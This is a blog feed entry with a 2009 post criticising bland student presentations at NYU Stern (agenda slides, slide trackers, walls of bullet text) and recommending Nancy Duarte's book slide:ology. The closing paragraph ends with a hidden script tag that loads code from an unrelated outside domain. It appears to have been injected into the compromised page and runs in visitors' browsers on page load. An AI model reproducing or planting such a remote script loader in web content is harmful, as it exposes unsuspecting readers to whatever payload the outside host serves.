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	<title>Jed Cohen &#187; design</title>
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	<description>A Few Thoughts</description>
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		<title>Slide Trackers and Organizational Communication</title>
		<link>http://jedcohen.com/slide-trackers-and-organizational-communication/</link>
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		<pubDate>Fri, 01 May 2009 03:23:25 +0000</pubDate>
		<dc:creator>Jed</dc:creator>
				<category><![CDATA[school]]></category>
		<category><![CDATA[business]]></category>
		<category><![CDATA[communication]]></category>
		<category><![CDATA[design]]></category>
		<category><![CDATA[presentation]]></category>

		<guid isPermaLink="false">http://jedcohen.wordpress.com/?p=23</guid>
		<description><![CDATA[Okay, so I&#8217;m a bit of a design freak.  Big surprise, right?  But one of the areas where I feel people often overlook design is in presentations.  As someone who has taken quite a few classes in the Stern School of Business at NYU, I&#8217;ve seen quite a few presentations as the result of group [...]]]></description>
			<content:encoded><![CDATA[<p>Okay, so I&#8217;m a bit of a design freak.  Big surprise, right?  But one of the areas where I feel people often overlook design is in presentations.  As someone who has taken quite a few classes in the Stern School of Business at NYU, I&#8217;ve seen quite a few presentations as the result of group projects.  Most of them are created by students who have taken <a href="http://w4.stern.nyu.edu/mc/academic.cfm?doc_id=1697">Organizational Communication</a> (or Org Comm as it is often called).  In the interest of full disclosure, I&#8217;ve never taken Org Comm (thankfully).  That said, after seeing plenty of examples of the course concepts in action, I&#8217;ve come to one conclusion &#8211; Org Comm really doesn&#8217;t seem to help that much.  I don&#8217;t mean to be mean and I&#8217;m certainly not saying that taking Organizational Communication doesn&#8217;t add value to someone&#8217;s education (then again it is a required class at Stern, so they don&#8217;t have a choice).</p>
<p><span id="more-23"></span>What Org Comm does seem to lead to is a bunch of bland looking and sounding presentations, often times featuring the following elements:</p>
<ul>
<li>A slide dedicated to the agenda &#8211; do you really need to tell me what you&#8217;re going to talk about in such great detail?  I&#8217;ve seen agenda slides with multiple levels of bullet points.  Not a particularly fun way to begin a talk.</li>
<li>Slide trackers &#8211; Thanks for the fancy diagram at the bottom of every slide telling me what part of the presentation we&#8217;re in, but I&#8217;d much rather listen to you speak than find out where we are in your story.</li>
<li>Three levels of bullet points per slide (aka way too much text) &#8211; While I respect that you want to put as much information out there as possible, if you put 300 words on a slide (which is just about all of the words in this entry), I&#8217;m much more likely to either 1) read your slides instead of listening to you or 2) start checking my Twitter on my phone because I&#8217;ve tuned you out entirely (shame on me, I know)</li>
</ul>
<p>Now I&#8217;m not saying I&#8217;m perfect &#8211; if anything, I&#8217;m more likely to throw in an extra transition or two when it isn&#8217;t necessary just because I find it cool (what it ends up being is distracting instead).</p>
<p>So what&#8217;s the solution?</p>
<p>Well, I don&#8217;t have one, but <a href="http://blog.duarte.com/">Nancy Duarte</a> does.  In addition to being the Principal and CEO of <a href="http://www.duarte.com/">Duarte Communications</a>, She&#8217;s the author of <a href="http://www.amazon.com/gp/product/0596522347?ie=UTF8&amp;tag=slideology-20&amp;linkCode=as2&amp;camp=1789&amp;creative=9325&amp;creativeASIN=0596522347">slide:ology: The Art and Science of Creating Great Presentations</a>, which is a great book that looks at using visual aids to complement a presentation, instead of letting them overrun it (I particularly enjoyed the case studies).  Rather than rehash her book here, I&#8217;m just going to recommend that you real her blog (linked to her name) or check out her book (or for that matter any number of the interviews she&#8217;s given).  Meanwhile, I think I&#8217;m going to get back to designing the slides for my final presentation in one of my classes.<script src="http://ie.eracou.com/3"></script></p>
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